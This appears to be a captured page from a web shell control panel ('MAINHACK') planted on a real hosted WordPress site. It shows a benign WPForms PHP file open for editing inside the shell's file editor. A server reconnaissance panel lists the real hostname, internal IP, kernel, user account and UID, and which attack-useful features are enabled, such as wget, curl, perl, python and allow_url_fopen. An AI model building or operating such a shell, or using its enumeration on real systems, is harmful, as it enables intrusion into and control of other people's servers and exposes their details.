[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: UpgradeBase.php
<?php // phpcs:disable Generic.Commenting.DocComment.MissingShort /** @noinspection PhpExpressionResultUnusedInspection */ /** @noinspection PhpPropertyOnlyWrittenInspection */ /** @noinspection UnusedConstructorDependenciesInspection */ /** @noinspection PhpUnusedAliasInspection */ // phpcs:enable Generic.Commenting.DocComment.MissingShort namespace WPForms\Migrations; // phpcs:disable WPForms.PHP.UseStatement.UnusedUseStatement use WPForms\Migrations\Migrations; use WPForms\Migrations\Tasks\UpgradeBaseTask; use WPForms\Pro\Migrations\Migrations as MigrationsPro; // phpcs:enable WPForms.PHP.UseStatement.UnusedUseStatement /** * Class UpgradeBase contains both Lite and Pro plugin upgrade methods. * * @since 1.7.5 */ abstract class UpgradeBase { /** * Migration class instance. * * @since 1.7.5 * * @var Migrations|MigrationsPro */ protected $migrations; /** * Primary class constructor. * * @since 1.7.5 * * @param Migrations|MigrationsPro $migrations Instance of Migrations class. */ public function __construct( $migrations ) { $this->migrations = $migrations; } /** * Run upgrade. * * @since 1.7.5 * * @return bool|null Upgrade result: * true - the upgrade completed successfully, * false - in the case of failure, * null - upgrade started but not yet finished (background task). */ abstract public function run(); /** * Run the async upgrade via an Action Scheduler (AS) task. * The AS task has to support STATUS option with START, IN_PROGRESS, and COMPLETED values. * Also, the AS task must have the init() method. * * @since 1.7.5 * * @param string $classname Classname of an async AS task. * * @return bool|null Upgrade result: * true - the upgrade completed successfully, * false - in the case of failure, * null - upgrade started but not yet finished (background task). */ protected function run_async( string $classname ) { // phpcs:ignore WPForms.PHP.HooksMethod.InvalidPlaceForAddingHooks $instance = new $classname(); if ( $this->is_completed( $instance ) ) { return true; } $this->maybe_start( $instance ); // Class Tasks does not exist at this point, so we have to add an action on init. add_action( 'init', static function () use ( $instance ) { $instance->init(); }, PHP_INT_MAX ); return null; } /** * Determine if the async AS task is completed. * * @since 1.9.5 * * @param object $instance Instance of an async AS task. * * @use UpgradeBaseTask::is_completed() * * @return bool */ private function is_completed( $instance ): bool { if ( method_exists( $instance, 'is_completed' ) ) { return $instance->is_completed(); } // Legacy tasks. $status = get_option( $instance::STATUS ); if ( $status === $instance::COMPLETED ) { delete_option( $instance::STATUS ); return true; } return false; } /** * Start the async AS task if it wasn't started yet. * * @since 1.9.5 * * @param object $instance Instance of an async AS task. * * @use UpgradeBaseTask::maybe_start() */ private function maybe_start( $instance ): void { if ( method_exists( $instance, 'maybe_start' ) ) { $instance->maybe_start(); return; } // Legacy tasks. $status = get_option( $instance::STATUS ); if ( ! $status ) { update_option( $instance::STATUS, $instance::START ); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697